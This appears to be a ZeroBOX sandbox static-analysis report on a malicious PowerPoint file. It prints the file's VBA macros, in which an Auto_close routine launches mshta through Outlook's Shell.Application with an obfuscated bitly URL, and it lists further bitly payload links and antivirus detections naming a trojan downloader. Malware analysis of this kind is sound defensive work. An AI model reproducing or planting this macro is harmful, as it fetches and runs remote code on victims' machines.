popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function hahaha()

hahaha = "htt" + "p" + "s" + ":" + "//" + "w" + "w" + "w" + ".bitly.com/wqyhdvasdgv" + "" + "" + "" + "" + "" + "" + "" + "" + "yeuiaohbdjad"
End Function

Deobfuscated

                                        Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function hahaha()

hahaha = "htt" + "p" + "s" + ":" + "//" + "w" + "w" + "w" + ".bitly.com/wqyhdvasdgv" + "" + "" + "" + "" + "" + "" + "" + "" + "yeuiaohbdjad"
End Function

Original

                                        Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function microsoft()
Set Outlook = VBA.CreateObject("Outlook.Application")
Set microsoft = Outlook.CreateObject("Shell.Application")


End Function

Deobfuscated

                                        Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function microsoft()
Set Outlook = VBA.CreateObject("Outlook.Application")
Set microsoft = Outlook.CreateObject("Shell.Application")


End Function

Original

                                        Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function lol()

lol = "ms" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "hta"
End Function

Deobfuscated

                                        Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function lol()

lol = "ms" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "" + "hta"
End Function

Original

                                        Attribute VB_Name = "Module1"
Sub Auto_close()

Sheet2.microsoft.ShellExecute Sheet3.lol, Sheet1.hahaha




End _
Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"
Sub Auto_close()

Sheet2.microsoft.ShellExecute Sheet3.lol, Sheet1.hahaha




End _
Sub
Sheet3
Module1
Sheet1
Sheet2
ID="{00000000-0000-0000-0000-000000000000}"
Class=Sheet3
Module=Module1
Class=Sheet1
Class=Sheet2
HelpFile=""
Name="Materials"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="A2A00E6E3472347230763076"
DPB="C4C66850A86FC56FC5903B70C5A9B72421625292EB869FDD6F88537914B9BEA7260271D06CEA"
GC="E6E44AB24EF671F771F771"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
Sheet3=0, 0, 0, 0, C
Module1=64, 64, 1319, 723,
Sheet1=96, 96, 1351, 755, Z
Sheet2=0, 0, 0, 0, C
PowerPoint
Win64x
Project1
stdole
VBAProject
Office
Module1b
_Evaluate
jadooomaddoo
Class1
Sheet3
Auto_closew
Sheet2
microsoft
ShellExecute
Sheet1
hahaha
Outlook,V
CreateObject
_B_var_Outlook
Materials
Module1
VBAProject
Class1
Sheet3
Sheet1
Sheet2
C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL
C:\Program Files (x86)\Microsoft Office\root\Office16\MSPPT.OLB
PowerPoint
Auto_close
C:\Windows\SysWOW64\stdole2.tlb
stdole
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\MSO.DLL
Office
VBInternal
hahaha
microsoft
VBE7.DLL
Materials
Attribut
e VB_Nam
e = "Mod
ub Auto_
close()
Lheet2.
microsof
t.ShellE
et3@.lol,
Attribut
e VB_Nam
e = "She@et3"
t0{FCF
B3D2A-A0
FA-1068-
A738-080
02B3371B
|GlobaBl
dCre atabl
Pr@edecla
plateDer
tion lol
ms" + "W
Outlook.Application
Shell.Application
Attribut
e VB_Nam
e = "She@et2"
t0{FCF
B3D2A-A0
FA-1068-
A738-080
02B3371B
|GlobaBl
dCre atabl
Pr@edecla
plateDer
tion mic
rosoft()
Set Ou tlook
aeObje
.bitly.com/wqyhdvasdgv
yeuiaohbdjad
Attribut
e VB_Nam
e = "She@et1"
t0{FCF
B3D2A-A0
FA-1068-
A738-080
02B3371B
|GlobaBl
dCre atabl
Pr@edecla
plateDer
tion ha
htt" + "*p
y.com/wq
yhdvasdg
ohbdjad
Mater ials
9stdole
00020430v-
046}#2.0
#0#C:\Wi
ndows\Sy
sWOW64\
2.tlb#OL
E Automaption
E2DF8D0
4C-5BFA-
101B-BDER5
EProgram
Files (
x86)\Com
rosoft S
hared\OF
FICE16\M
SO.DLL#
P 16.0 O
bject Li`brary
Sheet3G
dule1G
2UMU2IU2
Widescreen
Calibri
Calibri Light
Office Theme
Fonts Used
Slide Titles
plastic materials
plastic materials
Admin Operations
plastic materials
Master Mana
Microsoft Office PowerPoint
Root Entry
PROJECT
PROJECTwm
3Sheet3
1Module1
1Sheet1
2Sheet2
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Appldir
Sheet1
Sheet2
Sheet3
Module1
__SRP_0
__SRP_1
__SRP_2
__SRP_3
__SRP_4
__SRP_5
__SRP_6
__SRP_7
__SRP_8
__SRP_9
_VBA_PROJECT
ications
*\G{91493440-5A91-11CF-8700-00AA0060263B}#2.c#0#C:\Program Files (x86)\Microsoft Office\root\Office16\MSPPT.OLB#Microsoft PowerPoint 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE Automation
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
Sheet3
08632bc925
Sheet3
Module1
09632bc925
Module1
Sheet1
0:632bc925
Sheet1
Sheet2
0;632bc925
Sheet2
ShellExecute
.bitly.com/yuiwqdasdsad
asjdasdbmdwl
Outlook.Application
Shell.Application
CreateObject
hwukqbsmabsm
.bitly.com/ebdhmnsadhksajhde
tywquiebsahndba
.bitly.com/tyeuiqwdbdas
dgyuisabdhj
.bitly.com/uiwqdbmasadaf
qwheuikabdma
.bitly.com/yuiwahsjkaks
sbghaksjkahsj
.bitly.com/ywuiqnbsjkabs
.bitly.com/dghaksdbmsanbd
teiqbdasdasdasd
.bitly.com/yqwibansvda
quiwdgbajshdd
.bitly.com/wqyhdvasdgv
yeuiaohbdjad4
$*\Rffff*09632bc925
$*\Rffff*08632bc925
$*\Rffff*0:632bc925
$*\Rffff*0;632bc925
N0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}
$*\Rffff*08632bc925
N0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}
$*\Rffff*0;632bc925
*\R0*#17
N0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}
$*\Rffff*0:632bc925
SummaryInformation
DocumentSummaryInformation
Antivirus Signature
Bkav Clean
Lionic Trojan.Script.Generic.a!c
DrWeb Exploit.Siggen3.20529
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
ALYac VB:Trojan.Valyria.5266
Malwarebytes Clean
VIPRE Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
Cyren PP97M/Sload.B.gen!Eldorado
Symantec Trojan.Gen.MBT
ESET-NOD32 VBA/TrojanDownloader.Agent.WPH
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Trojan-Downloader.Script.Generic
BitDefender VB:Trojan.Valyria.5266
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan VB:Trojan.Valyria.5266
Rising Clean
Ad-Aware VB:Trojan.Valyria.5266
Sophos Clean
Comodo Clean
F-Secure Heuristic.HEUR/Macro.Downloader.MRKI.Gen
Baidu Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition Artemis!Trojan
FireEye VB:Trojan.Valyria.5266
Emsisoft VB:Trojan.Valyria.5266 (B)
SentinelOne Clean
GData VB:Trojan.Valyria.5266
Jiangmin Clean
Avira HEUR/Macro.Downloader.MRKI.Gen
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Arcabit VB:Trojan.Valyria.D1492
ViRobot Clean
ZoneAlarm HEUR:Trojan-Downloader.Script.Generic
Microsoft TrojanDownloader:O97M/Powdow.SS!MTB
TACHYON Clean
AhnLab-V3 Clean
Acronis Clean
McAfee RDN/Generic Downloader.x
MAX malware (ai score=86)
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Trojan-Downloader.VBA.Agent
MaxSecure Clean
Fortinet VBA/Valyria.5266!tr
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.